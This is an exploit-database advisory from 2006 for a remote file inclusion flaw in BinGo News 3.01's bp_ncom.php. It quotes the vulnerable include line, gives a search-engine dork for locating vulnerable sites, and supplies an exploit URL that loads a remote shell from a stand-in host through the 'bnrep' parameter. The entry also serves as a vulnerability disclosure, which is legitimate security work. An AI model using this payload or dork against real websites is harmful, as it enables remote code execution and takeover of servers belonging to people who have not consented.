BinGo News 3.01 - 'bnrep' Remote File Inclusion

Author: SHiKaA
type: webapps
platform: php
port: 
date_added: 2006-09-05 
date_updated:  
verified: 1 
codes: OSVDB-28570;CVE-2006-4649;CVE-2006-4648 
tags: 
aliases:  
screenshot_url:  
application_url: 

#==============================================================================================
#BinGo News <= v3.01 (bnrep) Remote File Inclusion Exploit
#===============================================================================================
#
#Critical Level : Dangerous
#
#Venedor site : http://bingophp.free.fr/BinGoPHPnewslast_full.zip
#
#Version : v3.01
#
#================================================================================================
#
#Dork : ""Script réalisé par BinGo PHP""
#
#================================================================================================
#Bug in : bp_ncom.php
#
#Vlu Code :
#--------------------------------
#      include $bnrep."bn_configs.php";
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/bp_ncom.php?bnrep=http://SHELLURL.COM?
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : SiMooooo KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# Special Thx To : Str0ke
==================================================================================================

# milw0rm.com [2006-09-06]